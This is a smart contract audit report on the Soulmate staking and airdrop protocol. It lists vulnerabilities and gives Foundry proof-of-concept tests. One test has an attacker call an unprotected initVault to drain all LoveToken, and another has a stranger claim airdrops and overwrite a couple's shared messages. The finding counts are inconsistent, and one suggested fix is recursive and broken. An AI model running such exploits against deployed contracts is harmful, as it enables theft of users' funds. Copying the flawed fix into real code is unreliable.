Soulmate Audit Report

Version 1.0

Shikhar Agarwal

February 21, 2024

Soulmate Audit Report

Shikhar Agarwal

Feb 16, 2024

Prepared by: Shikhar Agarwal

Lead Auditors: - Shikhar Agarwal

Table of Contents

Protocol Summary

Love is in the air, and our community's very own n0kto has graciously played matchmaker with the Soulmate protocol! Lovers estranged can come together through the magic of a Soulbound NFT and watch their LoveToken stacks grow as the relationship matures.

Disclaimer

The Miracle Audits team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

```
Commit Hash: b3f9227942ffd5c443ce6bccaa980fea0304c38f
```

Scope

- Soulmate.sol
- Airdrop.sol
- LoveToken.sol
- Staking.sol
- Vault.sol

Roles

None

Issues found

Severity	Count of Findings
High	10
Medium	4
Low	1

Findings

-

  ### High Risk Findings

  -

    #### H-01. `Staking::claimRewards` calculates the reward on the basis of lastClaim instead of actually staked time leading to distribution of less amount.

  -

    #### H-02. `Staking::claimRewards` function doesn't consider staking time for staked amount allowing claim on the Tokens which are not even staked for a week.

  -

    #### H-03. `Vault::initVault` lags necessary access control allowing anyone to call and set malicious addresses

  -

    #### H-04. A single person having multiple accounts will be able to be in relation and enjoy the benefits of LoveToken

  -

- **M-01. `Staking::claimRewards` doesn't consider the dust remaining in the contract when claim amount is greater than remaining token in Staking Vault.**

- **M-02. `Soulmate::writeMessageInSharedSpace` overrides the previous message, leading to unviewed message when other soulmate modifes it without reading.**

- **M-03. `Soulmate::getDivorced` allows a user to get divorced even though they have no soulmate**

- **M-04. A user calling `Soulmate::mintSoulmateToken` two times in a row one after another will make them their own soulmate**

Low Risk Findings

- **L-01. No way to increase the total supply of LoveToken as it allows minting only once.**

High

H-01. `Staking::claimRewards` calculates the reward on the basis of lastClaim instead of actually staked time leading to distribution of less amount.

Relevant GitHub Links

https://github.com/Cyfrin/2024-02-soulmate/blob/main/src/Staking.sol#L81

Summary

`Staking::claimRewards` calculates the reward on the basis of lastClaim instead of actually staked time leading to distribution of less amount. Therefore, even if a user has staked amount for some weeks and is eligible for some amount, but the last claim was made such a way that a week is not completed then a user will not be able to claim even though the actual staked time was fulfilled but was not fulfilled on the basis of last claim.

Considering last claim as parameter for measuring staking time is irrelevant, it doesn't show the actual staked time, but it shows the time when a claim is made.

Vulnerability Details

The vulnerability is present in the `Staking::claimRewards` function, and arises as a result of considering last claim as parameter for measuring staking time instead of time for which amount is actually staked. Consider the case where the user deposits some amount and makes a claim after 1.5 weeks, therefore the lastClaim is set to the timestamp when a claim is made. But when the time for stake becomes 2 weeks, now the user should be eligible for claiming for the next week but would not be able to claim the amount as the last claim was set to the time when 1.5 weeks were passed. As it considers the time from last claim, therefore only 0.5 weeks have passed but it is incorrect.

Impact

User will not be able to claim rewards from staking even they have staked for a full week due to considering the staked time on the basis of last claim.

Tools Used

Manual Review

Recommendations

Consider the staking timestamp instead of last claim timestamp for deciding the claim.

H-02. `Staking::claimRewards` function doesn't consider staking time for staked amount allowing claim on the Tokens which are not even staked for a week.

Relevant GitHub Links

https://github.com/Cyfrin/2024-02-soulmate/blob/main/src/Staking.sol#L90C9-L91C39

Summary

`Staking` contract allows users to claim tokens for their staked amount on the basis of full week, but tokens not deposited for a week are also considered eligible for claim when claim is made for tokens staked for a full week, allowing one to deposit least possible amount initially and before claiming deposit the highest possible amount and take the claim on the later deposited token even though they were not staked at least for a week.

Vulnerability Details

The vulnerability is present in the `Staking` contract as it lags the necessary implementation to maintain staking time for every deposit, and as a result of which it considers the staking time of every tokens deposited after first deposit the same, which will allow the user to claim tokens for all the LoveToken not even deposited for a week.

It is required to maintain the necessary timestamp when a user has deposited in the protocol and on the basis of the time at which a deposit is made should be considered for claim if the time of deposit for that particular amount is at least a week.

But in the current implementation it considers the time for all the deposits the same as first one, thus giving privilege to the user for claiming on the tokens not even deposited for a week.

Impact

User can get claim on tokens not deposited for a week.

Thus, a user can initially deposit the minimum possible amount of token, and later when some weeks are finished the user can deposit all their tokens before they claim allowing them to make a claim on the later deposited token not even deposited for a week.

PoC

Add the test in the file: `test/unit/StakingTest.t.sol`

Run the test:

```
forge test --mt test_UsersCanClaimAmountForTokensNotStakedForAWeek
```

```
function test_UsersCanClaimAmountForTokensNotStakedForAWeek() public {
    // ------------------ Two Soulmates
        ----------------------------------
    address romeo = makeAddr("romeo");
    address juliet = makeAddr("juliet");

    // ------------------ Setup for Testing (Collecting LoveToken)
        --------------------------------
    vm.prank(romeo);
    soulmateContract.mintSoulmateToken();

    vm.prank(juliet);
    soulmateContract.mintSoulmateToken();

    // 777 days later
    vm.warp(block.timestamp + 777 days);

    // collect LoveToken from Airdrop
    vm.prank(juliet);
    airdropContract.claim();      // total tokens claimed should be 777
    assert(loveToken.balanceOf(juliet) == 777e18);

    // ---------------------- Actual Testing Begins
        ---------------------------------

    // juliet stakes only single token
    vm.startPrank(juliet);
    loveToken.approve(address(stakingContract), 1e18);
    stakingContract.deposit(1e18);
    vm.stopPrank();

    // 1 week later
    vm.warp(block.timestamp + 1 weeks);

    // juliet again deposits the remaining balance
    vm.startPrank(juliet);
    loveToken.approve(address(stakingContract), loveToken.balanceOf(
        juliet));
    stakingContract.deposit(loveToken.balanceOf(juliet));
    vm.stopPrank();

    // now, juliet has staked 1 token for 1 week, but the remaining
```

```
        token balance is staked just now
    // and thus it is not 1 week old, thus should not be eligible for
        rewards
    // only the 1 token deposited previous week is eligible for reward

    uint256 balanceBeforClaim = loveToken.balanceOf(juliet);

    // juliet claims rewards for staking
    vm.prank(juliet);
    stakingContract.claimRewards();

    uint256 rewardedBalance = loveToken.balanceOf(juliet) -
        balanceBeforClaim;

    // but still due to not tracking time of individual deposits, the
        rewarded amount is also granted for tokens which are not staked
        for a full week
    // now actually for 1 week, 1 token was deposited but rewarded
        amount will be greater than that.
    // the remaining balance of 776 token staked after is also
        considered for reward even though it is not staked for 1 week
    assert(rewardedBalance > 1e18);
}
```

Tools Used

Manual Review, Unit Test in Foundry

Recommendations

- Maintain a timestamp for every deposit of tokens.
- When a claim is made consider only those token deposit eligible for claim which were deposited for at least a week and consider the reward on the basis of lastClaim.

H-03. `Vault::initVault` lags necessary access control allowing anyone to call and set malicious addresses

Relevant GitHub Links

https://github.com/Cyfrin/2024-02-soulmate/blob/main/src/Vault.sol#L27

Summary

The `Vault::initVault` funcition allows to set the necessary addresses for the protocol but missing access control check will allow unauthorized access to set malicious addresses for them which will ultimately lead to a major destruction of the protocol.

Access control serves the purpose to allow authorized access to call the sensitive function which requires carefully checking the inputs and setting them because a wrong input given can lead to major impact for the protocol and user interacting with the protocol.

`initVault` having no access control on it will allow malicious actors to set malicious addresses and will give them the full control to hinder with the Soulmate protocol.

Vulnerability Details

The vulnerability is present in the `Vault::initVault` function starting from line 27 as it lags necessary access control on it allowing malicious actors to set the protocol's addresses to their own addresses which allows them to hinder with the normal functioning of the protocol as well as impact the users associated with the protocol.

The addresses for `loveToken` and `managerContract` are necessary for the protocol functioning, where the loveToken is the ERC20 based token for the Soulmate protocol and `managerContract` is the manager of the Vault.

These are necessary addresses as managerContract is given the approval to spend LoveToken and malicious actor setting them to their own addresses will give them the advantage to the protocol's tokens.

```
@>  function initVault(ILoveToken loveToken, address managerContract)
    public {
        if (vaultInitialize) revert Vault__AlreadyInitialized();
        loveToken.initVault(managerContract);
        vaultInitialize = true;
    }
```

Impact

- Malicious actor setting `loveToken` to its correct valut but `managerContract` to their own address will allow them to get the approval for a total of `500,000,000` LoveToken as the call `loveToken.initVault(managerContract)` mints and approves LoveToken to the vault and managerContract respectively.

- Even they can set the `loveToken` to their own addresses which will allow distribution of their malicious token in the protocol.

PoC

Add the test in the file: `test/unit/BaseTest.t.sol`

Run the test:

```
forge test --mt
    test_AllowsMaliciousActorToSetUpNecessaryAddressesForVault_And_PullAllTokens
```

```
function
    test_AllowsMaliciousActorToSetUpNecessaryAddressesForVault_And_PullAllTokens
    () public {
    // Initiate the protocol
    // note: these are all genuine protocol addresses
    // deployer is the genuine person from Soulmate protocol
    vm.startPrank(deployer);
    Vault airdrop_vault = new Vault();
    Vault staking_vault = new Vault();
    Soulmate soulmate_contract = new Soulmate();
    LoveToken love_token = new LoveToken(
        ISoulmate(address(soulmate_contract)),
        address(airdrop_vault),
        address(staking_vault)
    );
    Staking staking_contract = new Staking(
        ILoveToken(address(love_token)),
        ISoulmate(address(soulmate_contract)),
        IVault(address(staking_vault))
    );

    Airdrop airdrop_contract = new Airdrop(
        ILoveToken(address(love_token)),
        ISoulmate(address(soulmate_contract)),
        IVault(address(airdrop_vault))
    );
    vm.stopPrank();

    // -----------------------------------------------------------
    // ---------------- Attacker's Intervention ------------------
    // -----------------------------------------------------------
    // But before the `deployer` can call the initVault, malicious
       actor called it
    address attacker = makeAddr("attacker");
    vm.startPrank(attacker);

    airdrop_vault.initVault(
        ILoveToken(address(love_token)),
        attacker
    );
    staking_vault.initVault(
        ILoveToken(address(love_token)),
        attacker
    );

    uint256 minted_amount = 500_000_000 * 1e18;

    // // now the attacker address has all the approvals of LoveToken
        minted
    love_token.transferFrom(address(airdrop_vault), attacker,
        minted_amount);
    love_token.transferFrom(address(staking_vault), attacker,
        minted_amount);

    vm.stopPrank();

    // attacker snatched all the LoveToken
    assertEq(love_token.balanceOf(attacker), minted_amount * 2);
}
```

Tools Used

Manual Review, Unit Test in Foundry

Recommendations

Add the access control to allow the protocol authority to call `Vault::initVault`

```
contract Vault {
    /*//////////////////////////////////////////////////////////////
                                ERRORS
    //////////////////////////////////////////////////////////////*/
    error Vault__AlreadyInitialized();
+   error Vault__NotAuthorized();

    /*//////////////////////////////////////////////////////////////
                            STATE VARIABLES
    //////////////////////////////////////////////////////////////*/
    bool public vaultInitialize;
+   address public admin;

    /*//////////////////////////////////////////////////////////////
                               FUNCTIONS
    //////////////////////////////////////////////////////////////*/

+   constructor() {
+       admin = msg.sender;
+   }

    /// @notice Init vault with the loveToken.
    /// @notice Vault will approve its corresponding management
        contract to handle tokens.
    /// @notice vaultInitialize protect against multiple initialization
        .
    function initVault(ILoveToken loveToken, address managerContract)
        public {
+       if (msg.sender != admin) {
+           revert Vault__NotAuthorized();
+       }
        if (vaultInitialize) revert Vault__AlreadyInitialized();
        loveToken.initVault(managerContract);
        vaultInitialize = true;
    }
}
```

H-04. A single person having multiple accounts will be able to be in relation and enjoy the benefits of LoveToken

Relevant GitHub Links

https://github.com/Cyfrin/2024-02-soulmate/blob/main/src/Soulmate.sol#L62

Summary

The `Soulmate::mintSoulmateToken` function allows users to find and make soulmates but due to the fact that single user can have multiple addresses can form infinite number of soulmates and take all the benefits of LoveToken, which will ultimately create scarcity of LoveToken.

Vulnerability Details

The vulnerability occurs due to the function `mintSoulmateToken` doesn't check for unique identity of the `msg.sender` as a result of which a single person can have multiple addresses and be in relation with each one of them via which they can enjoy the benefits of LoveToken. The user can form a large number of soulmates with their own addresses, which will create scarcity of LoveToken in the protocol and ultimately it will end, as a result of which the real soulmates will not be able to enjoy the LoveToken as it is limited.

Impact

Leads to creation of fake soulmates and minting of a large amount of LoveToken leading to its scarcity.

Tools Used

Manual Review

Recommendations

Use external off-chain services to verify the identity of user and allow only unique users to call `mintSoulmateToken` exactly one time.

H-05. Soulmate contract doesn’t support the actual interface of ERC721 token as it doesn’t allow NFT transfers

Relevant GitHub Links

https://github.com/Cyfrin/2024-02-soulmate/blob/main/src/Soulmate.sol#L98

Summary

Soulmate contract allows minting of NFT to soulmates but doesn’t support transferring of NFT, and the `Soulmate::transferFrom` is overridden to always revert and doesn’t support NFT transfers but other protocols interacting with `Soulmate::supportsInterface` will return wrong values as Soulmate contract doesn’t support transferFrom.

Vulnerability Details

The Soulmate contract doesn’t support the mandatory function of `ERC721` contract and thus the actual interface id for Soulmate contract for ERC721 will not be `0x80ac58cd`.

Thus, other protocol interacting with Soulmate contract by checking with `Soulmate::supportsInterface` will return `true` for interface id `0x80ac58cd` but actually our Soulmate contract doesn't support the `transferFrom` function and all the other functions which are dependent on it, therefore the corresponding ERC721 interface id for `Soulmate` contract should be updated accordingly without considering the `transferFrom` function and other functions depending on it.

Impact

- `Soulmate::supportsInterface` will return **`true`** for interfaceId `0x80ac58cd` even though `transferFrom` is not supported.
- Other protocol interacting with `Soulmate` contract will get wrong values when they call `supportsInterface` and they will face reverts as a result of getting incorrect values.

Tools Used

Manual Review

Recommendations

Override the `supportsInterface` function and change the interface id from `0x80ac58cd` to `0x591d4bc0`. Here, the interface id `0x591d4bc0` is obtained by discarding the function `transferFrom` and the other functions which are dependent on it, which are: - `safeTransferFrom(address, address, uint256, bytes)` - `safeTransferFrom(address, address, uint256)`

Override the `supportsInterface` function inside `Soulmate` contract

```
function supportsInterface(bytes4 interfaceId) public view override
    returns (bool) {
     return
         interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165
         interfaceId == 0x591d4bc0 || // ERC165 Interface ID for
             modified ERC721 after discarding some functions
         interfaceId == 0x5b5e139f; // ERC165 Interface ID for
             ERC721Metadata
}
```

H-06. `Soulmate::getDivorced` doesn't consider consent from other soulmate, leading to divorce only by the consent of a single soulmate

Relevant GitHub Links

https://github.com/Cyfrin/2024-02-soulmate/blob/main/src/Soulmate.sol#L124

Summary

The `Soulmate::getDivorced` function allows any one of the soulmate to call it and get divorce without considering the consent from the other soulmate.

Divorce should take place either by the consent of both user or involve an arbiter but the current divorce scenario inside `Soulmate` contract doesn't consider the other soulmate and let any one of the soulmate to decide the divorce.

Vulnerability Details

The vulnerability is present in the `Soulmate::getDivorced` function which arises due to the fact that it allows only a single soulmate to take major decision on their divorce without considering the consent of other soulmate.

Any one of the soulmates can thus call `getDivorced` function and leads to their divorce without considering consent from other soulmate.

A divorce should occur either by the consent of both users or involvement of an arbiter but here any one of the soulmate can go for divorce.

Impact

Any one of the soulmate can decide for divorce without consent from other soulmate.

Tools Used

Manual Review

Recommendations

Either consider the consent from both the soulmates or involve the role of arbiter in the `Soulmate` contract for deciding the divorce.

H-07. Users currently in soulmate waiting list are able to claim LoveToken from AIrdrop

Relevant GitHub Links

https://github.com/Cyfrin/2024-02-soulmate/blob/main/src/Soulmate.sol#L72

https://github.com/Cyfrin/2024-02-soulmate/blob/main/src/Airdrop.sol#L56C9-L59C31

Summary

The functions `Soulmate::mintSoulmateToken` and `Airdrop::claim` contains an inconsistency where users who are in waiting list and have not been matched with a soulmate can still claim tokens because of the ownerToId mapping returning a token ID that is set to `nextID` when a user first calls mintSoulmateToken, leading to claiming of Airdrop without having a soulmate while still being in the waitlist.

Vulnerability Details

The vulnerability occurs due to insufficient checks inside `Airdrop::claim` function as a result of which it considers users still in waiting list for soulmate are able to claim LoveToken from Airdrop.

A user calling `Soulmate::mintSoulmateToken` when there is no user assigned to `nextID`, then that user will be assigned the `nextID` in the mapping `ownerToId`, but notice that the user currently has no soulmate and is waiting for them to call it.

But before the next user calling `mintSoulmateToken`, the first user will be eligible to claim Airdrop as `Aidrop::claim` function doesn't implement proper check whether the user has a soulmate or not.

```
        uint256 numberOfDaysInCouple = (block.timestamp -
                soulmateContract.idToCreationTimestamp(
                    soulmateContract.ownerToId(msg.sender)
                )) / daysInSecond;
```

Here the `ownerToId` for the user will be the `nextID` and corresponding to that nextID, no nft is created therefore `idToCreationTimestamp` for that token id will be `0` and the user will be able to claim a large number of LoveToken.

Impact

Users currently in waiting list for other users are able to claim Aidrop by a bigger amount.

PoC

Add the test in the file: `test/unit/AirdropTest.t.sol` and also import `console2` from `forge-std/Test.sol`

Run the test:

```
forge test --mt
    test_UsersInSoulmateWaitingList_Are_Still_AbleToClaimAirdrop -vv
```

```
function test_UsersInSoulmateWaitingList_Are_Still_AbleToClaimAirdrop()
     public {
    // the current timestamp of testing this
    vm.warp(1707932269);

    vm.prank(soulmate1);
    soulmateContract.mintSoulmateToken();

    // now the user soulmate1 is in waiting list

    // balance before claim
    uint256 balanceBeforeClaim = loveToken.balanceOf(soulmate1);

    // soulmate1 calls the Airdrop::claim function
    vm.prank(soulmate1);
    airdropContract.claim();

    uint256 claimedBalance = loveToken.balanceOf(soulmate1) -
        balanceBeforeClaim;

    // even though the user was currently in waiting list
    // but is still able to claim a large amount of LoveToken
    // because of insufficient checks inside claim function
    assert(claimedBalance > 0);
    console2.log("Claimed Balance:", claimedBalance);
}
```

Tools Used

Manual Review, Unit Test in Foundry

Recommendations

Add a check in the `Aidrop::claim` function that if a user is in waiting list then they should not be able to claim Aidrop.

```
+   error Airdrop__UserInWaitlist();

    function claim() public {
        // No LoveToken for people who don't love their soulmates anymore.
        if (soulmateContract.isDivorced()) revert Airdrop__CoupleIsDivorced();

+       if (soulmateContract.ownerToId(msg.sender) == soulmateContract.totalSupply()) {
+           revert Airdrop__UserInWaitlist();
+       }

        // Calculating since how long soulmates are reunited
        uint256 numberOfDaysInCouple = (block.timestamp -
            soulmateContract.idToCreationTimestamp(
                soulmateContract.ownerToId(msg.sender)
            )) / daysInSecond;

        uint256 amountAlreadyClaimed = _claimedBy[msg.sender];

        if (
            amountAlreadyClaimed >=
            numberOfDaysInCouple * 10 ** loveToken.decimals()
        ) revert Airdrop__PreviousTokenAlreadyClaimed();

        uint256 tokenAmountToDistribute = (numberOfDaysInCouple *
            10 ** loveToken.decimals()) - amountAlreadyClaimed;

        // Dust collector
        if (
            tokenAmountToDistribute >=
            loveToken.balanceOf(address(airdropVault))
        ) {
            tokenAmountToDistribute = loveToken.balanceOf(
                address(airdropVault)
            );
        }
        _claimedBy[msg.sender] += tokenAmountToDistribute;

        emit TokenClaimed(msg.sender, tokenAmountToDistribute);

        loveToken.transferFrom(
            address(airdropVault),
            msg.sender,
            tokenAmountToDistribute
        );
    }
```

H-08. `Staking::claimRewards` calculates initial `lastClaim` of a user based on their soulmate nft creation timestamp instead of staking timestamp leading to incorrect staking rewards payout

Relevant GitHub Links

https://github.com/Cyfrin/2024-02-soulmate/blob/main/src/Staking.sol#L73C9-L77C10

Summary

The `Staking::claimRewards` function is designed to allow users to claim rewards based on the number of weeks they have staked their tokens. However, there is a logical error in the initial setting of the lastClaim variable, which uses the creation timestamp of the user's soulmate NFT instead of the actual staking timestamp.

As a result of which it considers the staked time of LoveToken inside `Staking` contract on the basis of the time of the soulmate NFT creation timestamp and thus leads to incorrect calculation of rewards leading to extra payout.

Vulnerability Details

The vulnerability lies in the initialization of the lastClaim variable inside the `Staking::claimRewards` from line 73.

When a user claims rewards for the first time, the lastClaim timestamp is incorrectly set to the creation timestamp of the user's soulmate NFT (soulmateContract.idToCreationTimestamp(soulmateId)). This timestamp represents when the NFT was minted, not when the user began staking their tokens. As a consequence, the calculation of the number of weeks since the last claim (timeInWeeksSinceLastClaim) will be incorrect, leading to an erroneous reward amount.

Considering the NFT creation time as the timestamp for staked amount is irrelevant. First of all staking doesn't depend on soulmate NFT creation timestamp and along with that staking doesn't depend whether a user has a soulmate NFT or not and thus is not implemented correctly.

```
    function claimRewards() public {
        uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
        // first claim
@>      if (lastClaim[msg.sender] == 0) {
@>          lastClaim[msg.sender] = soulmateContract.
    idToCreationTimestamp(
@>              soulmateId
            );
        }

        // How many weeks passed since the last claim.
        // Thanks to round-down division, it will be the lower amount
            possible until a week has completly pass.
        uint256 timeInWeeksSinceLastClaim = ((block.timestamp -
            lastClaim[msg.sender]) / 1 weeks);

        if (timeInWeeksSinceLastClaim < 1)
            revert Staking__StakingPeriodTooShort();

        lastClaim[msg.sender] = block.timestamp;

        // Send the same amount of LoveToken as the week waited times
            the number of token staked
        uint256 amountToClaim = userStakes[msg.sender] *
            timeInWeeksSinceLastClaim;
        loveToken.transferFrom(
            address(stakingVault),
            msg.sender,
            amountToClaim
        );

        emit RewardsClaimed(msg.sender, amountToClaim);
    }
```

Impact

It affects the normal functioning of the Staking contract as users will received extra rewards for their staked amount because the time of staking is incorrectly calculated from the soulmate NFT creation timestamp instead of actual staking.

PoC

Add the test in the file: `test/unit/StakingTest.t.sol`

Run the test:

```
forge test --mt
    test_ClaimRewards_ConsiderLastClaimFromNftCreation_LeadingToExtraRewards
     -vv
```

```
function
    test_ClaimRewards_ConsiderLastClaimFromNftCreation_LeadingToExtraRewards
    () public {
     // ---------------- Setting Up For Test to claim LoveToken
        -------------------------
     vm.prank(soulmate1);
     soulmateContract.mintSoulmateToken();

     uint256 relationshipCreationTime = block.timestamp;

     vm.prank(soulmate2);
     soulmateContract.mintSoulmateToken();

     vm.warp(block.timestamp + 1 days);

     // soulmate1 collects their airdrop for 1 day of being into
        relation
     vm.prank(soulmate1);
     airdropContract.claim();

     // soulmate1 now has 1 LoveToken
     assertEq(loveToken.balanceOf(soulmate1), 1e18);

     // -------------------------- Actual Testing For Staking Begins
        ---------------------------

     // 123 days later
     vm.warp(block.timestamp + 123 days);

     // soulmate1 deposits 1 LoveToken
     vm.startPrank(soulmate1);
     loveToken.approve(address(stakingContract), 1e18);
     stakingContract.deposit(1e18);
     vm.stopPrank();

     // 1 week later
     vm.warp(block.timestamp + 1 weeks);

     uint256 balanceBeforeClaim = loveToken.balanceOf(soulmate1);

     // claim the rewards
     vm.prank(soulmate1);
     stakingContract.claimRewards();

     // now according to the rule, for 1 token deposited for 1 week, 1
        LoveToken should be rewarded
     // but protocol considers the staking time from nft formation time,
          instead of the actual time at which token was staked
     // leading to extra rewards (more than 1 LoveToken)
     uint256 rewardsClaimed = loveToken.balanceOf(soulmate1) -
        balanceBeforeClaim;
     assert(rewardsClaimed > 1e18);

     // as it considers the time from relationship formation instead of
        actual staking time
     // therefore total token awarded will be (weeks into relationship *
         1 LoveToken)
     uint256 weeksInRelation = (block.timestamp -
        relationshipCreationTime) / 1 weeks;
     assertEq(rewardsClaimed, weeksInRelation * 1e18);

     console2.log("Expected Rewards ->", 1e18, "LoveToken");
     console2.log("Actual Rewareds  ->", rewardsClaimed, "LoveToken");
 }
```

Tools Used

Manual Review, Unit Test in Foundry

Recommendations

Instead of considering staking time with respect to NFT creation timestamp, consider the time at which the LoveToken was actually staked inside the `Staking` contract.

H-09. `Soulmate::ownerToId` returns 0 as id for users who are not in relation leads to certain issues associated with other contracts.

Relevant GitHub Links

https://github.com/Cyfrin/2024-02-soulmate/blob/main/src/Airdrop.sol#L56-L59

https://github.com/Cyfrin/2024-02-soulmate/blob/main/src/Soulmate.sol#L107

https://github.com/Cyfrin/2024-02-soulmate/blob/main/src/Staking.sol#L71

Summary

`Soulmate::ownerToId` returns the soulmate NFT id that is associated with the soulmate participating in the contract but it return 0 as id if the user has not participated in the protocol (i.e. has no soulmate). As the token id starts from 0, thus token id - 0 is actually assigned to soulmates, but `Soulmate::ownerToId` returning 0 for non-soulmates user lead to potential loss of soulmates whose id is actually 0 as well as allows the non-soulmates users to enjoy the same benefits (of Airdrop & Staking), soulmates with id = 0 are enjoying.

Vulnerability Details

The vulnerability occurs due to starting tokenId for Soulmate NFT from 0 in `Soulmate` contract as `Soulmate::ownerToId` returns 0 for non-soulmate users. Thus, these non-soulmate users can hinder with the soulmates with `id = 0` with malicious intent and can cause danger to their relation (in worst case may also lead to their divorce) as well as allows them to take benefit of Airdrop as well as Staking without having any soulmates.

Impact

1. Airdrop.sol

`Airdrop::claim` function uses `Soulmate::ownerToId` to calculate the `numberOfDaysInCouple` as follows:

```
// Calculating since how long soulmates are reunited
uint256 numberOfDaysInCouple = (block.timestamp -
    soulmateContract.idToCreationTimestamp(
        soulmateContract.ownerToId(msg.sender)
    )) / daysInSecond;
```

For non-soulmate users calling claim function, `ownerToId` will be evaluated as 0, thus the `numberOfDaysInCouple` is calculated considering them as soulmates with `id = 0`, allowing all non-soulmate users to claim Airdrop.

2. Soulmate.sol

`Soulmate::writeMessageInSharedSpace` allows soulmates to share messages with them and should not allow non-soulmate users or other soulmates to hinder with their messaging. But `ownerToId` returning 0 for all non-soulmate users will allow them to hinder and manipulate the messages of soulmates with `id = 0`. Therefore, allowing malicious users to put up hate messages in the shared space of soulmates with `id = 0` and they can end up divorcing due to other malicious users circulating hate messages in their shared space.

```
    function writeMessageInSharedSpace(string calldata message)
        external {
@>  uint256 id = ownerToId[msg.sender];                  <--- Returns
    0 for non-soulmate users
    sharedSpace[id] = message;
        <--- Updates the message for id = 0, even if the caller is not a
         associated soulmate with id = 0
    emit MessageWrittenInSharedSpace(id, message);
    }
```

3. Staking.sol

`Staking::claimRewards` allows users to claim rewards for their staked amount, but `soulmateId` calculated for the caller evaluates to 0 for non-soulmate users giving them benefits even if they have not staked their amount for a week or more.

PoC

Add the below test in file: `test/unit/AirdropTest.t.sol` and also import `console2` from `BaseTest.t.sol` inside the `AirdropTest.t.sol`

Run the test:

```
forge test --mt test_UsersCanReceiveAirdropWithoutHavingASoulmate -vv
```

```
function test_UsersCanReceiveAirdropWithoutHavingASoulmate() public {
    vm.prank(soulmate1);
    soulmateContract.mintSoulmateToken();

    // 10 days later another user arrives
    vm.warp(block.timestamp + 10 days);

    vm.prank(soulmate2);
    soulmateContract.mintSoulmateToken();

    // here this person is not in relation (doesn't hold any soulbound
        nft)
    address single = makeAddr("single");

    // 5 days later
    vm.warp(block.timestamp + 5 days);

    assertEq(loveToken.balanceOf(single), 0);

    // even though the person is single but still is able to claim
        Airdrop
    vm.prank(single);
    airdropContract.claim();

    assert(loveToken.balanceOf(single) > 0);

    // reason: as for people not in relation, the `ownerToId` returns 0
         as token id
    // and the creation timestamp of token id 0 will be used, thus user
        will receive: 15 - 10 = 5 tokens
    console2.log("Love Tokens Of User who is Single received from
        Airdrop Claim:", loveToken.balanceOf(single));
}
```

Add the below test in the file: `test/unit/SoulmateTest.t.sol`

Run the test:

```
forge test --mt test_AllowsUserToHinderWithTokenZeroMessage -vv
```

```
function test_AllowsUserToHinderWithTokenZeroMessage() public {
    uint256 id = soulmateContract.totalSupply();

    vm.prank(soulmate1);
    soulmateContract.mintSoulmateToken();

    vm.prank(soulmate2);
    soulmateContract.mintSoulmateToken();

    assertEq(soulmateContract.ownerToId(soulmate1), id);
    assertEq(soulmateContract.ownerToId(soulmate2), id);

    address hater = makeAddr("hater");

    vm.prank(hater);
    soulmateContract.writeMessageInSharedSpace("I am seeing other
        soulmate these days and he drives a Porche! Bye-Bye");

    vm.prank(soulmate2);
    string memory message = soulmateContract.readMessageInSharedSpace()
        ;

    console2.log(message);
}
```

Output with logs

```
Running 1 test for test/unit/SoulmateTest.t.sol:SoulmateTest
[PASS] test_AllowsUserToHinderWithTokenZeroMessage() (gas: 313451)
Logs:
   I am seeing other soulmate these days and he drives a Porche! Bye-
       Bye, darling          <----

```

```
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.08ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

Tools Used

Manual Review, Unit Test in Foundry

Recommendations

Start token id from 1 instead of 0 and along with that `Soulmate::ownerToId` should revert if it is 0.

- At line 32 in `Soulmate`

```
- uint256 private nextID;
+ uint256 private nextID = 1;
```

- Make the mapping declaration private at line 26 in `Soulmate`

```
- mapping(address owner => uint256 id) public ownerToId;
+ mapping(address owner => uint256 id) private _ownerToId;
```

- As we have changed the name from `ownerToId` to `_ownerToId` (added a underscore), thus update all the positions inside Soulmate contract where it is updated (at line 72 and 77)

```
- ownerToId[msg.sender] = nextID;
+ _ownerToId[msg.sender] = nextID;
```

- Implement the actual function with name `ownerToId` which reverts when the user doesn't have any token (i.e. their id = 0)

```
error Soulmate__UserNotFound();

function ownerToId(address user) public view returns (uint256) {
    if (ownerToId[user] == 0) {
        revert Soulmate__UserNotFound();
    }
    return ownerToId[user];
}
```

H-10. `Airdrop::claim` checks divorce for `Airdrop` contract instead of caller leads to reward claims even for divorced people.

Relevant GitHub Links

https://github.com/Cyfrin/2024-02-soulmate/blob/main/src/Airdrop.sol#L53

Summary

The Airdrop contract allows soulmates to claim LoveToken if they are in relation but should not allow divorced people to claim tokens as mentioned by the protocol. The check inside the `Airdrop::claim` function checks for divorce condition of `Airdrop` contract instead of the actual caller leading to airdrop claims even though the soulmates are divorced and as the `Airdrop` contract will not be in relation therefore the divorce condition will always be false, and thus allowing divorced users to still claim Airdrop as usual when they were not divorced.

Vulnerability Details

The vulnerability lies at line 53 inside `Airdrop` contract's `claim` function which represents the incorrect condition for evaluating whether caller is divorced or not. The call `soulmateContract.isDivorced()` made inside `Airdrop::claim` function actually returns the divorce status of `Airdrop` contract because the caller of `isDivorced` function on `Soulmate` contract is `Airdrop` contract. Thus, it returns the divorce status of `Airdrop` contract instead of the caller who called the `Airdrop::claim` function, allowing divorced people to still take benefits of Airdrop.

```
    function claim() public {
        // No LoveToken for people who don't love their soulmates
           anymore.
@>      if (soulmateContract.isDivorced()) revert
    Airdrop__CoupleIsDivorced();

        // Calculating since how long soulmates are reunited
        uint256 numberOfDaysInCouple = (block.timestamp -
            soulmateContract.idToCreationTimestamp(
                soulmateContract.ownerToId(msg.sender)
            )) / daysInSecond;

        uint256 amountAlreadyClaimed = _claimedBy[msg.sender];

        if (
            amountAlreadyClaimed >=
            numberOfDaysInCouple * 10 ** loveToken.decimals()
        ) revert Airdrop__PreviousTokenAlreadyClaimed();

        uint256 tokenAmountToDistribute = (numberOfDaysInCouple *
            10 ** loveToken.decimals()) - amountAlreadyClaimed;

        // Dust collector
        if (
            tokenAmountToDistribute >=
            loveToken.balanceOf(address(airdropVault))
        ) {
            tokenAmountToDistribute = loveToken.balanceOf(
                address(airdropVault)
            );
        }
